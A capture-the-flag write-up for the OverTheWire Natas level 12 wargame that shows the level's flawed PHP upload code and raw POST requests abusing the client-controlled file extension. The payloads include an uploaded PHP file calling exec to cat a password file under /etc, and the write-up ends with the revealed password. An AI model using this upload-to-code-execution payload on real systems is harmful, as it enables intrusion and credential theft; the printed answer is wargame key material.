OverTheWire: Natas

Level 12 > Level 13

natas12-01

[...]
<h1>natas12</h1>
<div id="content">
<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Run it once normally to see how it behaves. Uploading a tiny image of a Thor hammer I found online results in the following POST request body and response.

-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"

u117acfgc6.jpg
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"
Content-Type: image/jpeg

[...]
-----------------------------58323604319210243021201378353--
<h1>natas12</h1>
<div id="content">
The file <a href="upload/qtqgaelc6b.jpg">upload/qtqgaelc6b.jpg</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

A visit to upload/qtqgaelc6b.jpg confirms the image was uploaded as intended.

natas12-02

The name u117acfgc6.jpg was generated by the following line of code in the page.

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />

It is passed to the server in the POST request, meaning we can submit our own value rather than what would be returned by genRandomString(). Also, this means we don’t need to use .jpg as the extension. There is no evidence to suggest that the file is verified to be a jpg in any way, either.

Test this theory by uploading and viewing a text file.

-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"

himom.txt
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"

hi mom
-----------------------------58323604319210243021201378353--
<div id="content">
The file <a href="upload/z2xt622p6y.txt">upload/z2xt622p6y.txt</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

natas12-03

The next thing to wonder is if we can ‘upload’ a php file and execute it…

-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"

shitsgoingdown.php
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"

<?php phpinfo(); ?>
-----------------------------58323604319210243021201378353--
<div id="content">
The file <a href="upload/hhbhtomk6e.php">upload/hhbhtomk6e.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

natas12-04

Yep, it’s over.

-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="filename"

ohcrap.php
-----------------------------58323604319210243021201378353
Content-Disposition: form-data; name="uploadedfile"; filename="thor.jpg"

<?php echo exec("cat /etc/natas_webpass/natas13"); ?>
-----------------------------58323604319210243021201378353--
<div id="content">
The file <a href="upload/a7vs4em78m.php">upload/a7vs4em78m.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

natas12-05

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Thanks to my co-worker Dejan who said something like “I wonder if you can upload a PHP file?!” near me while I was doing this.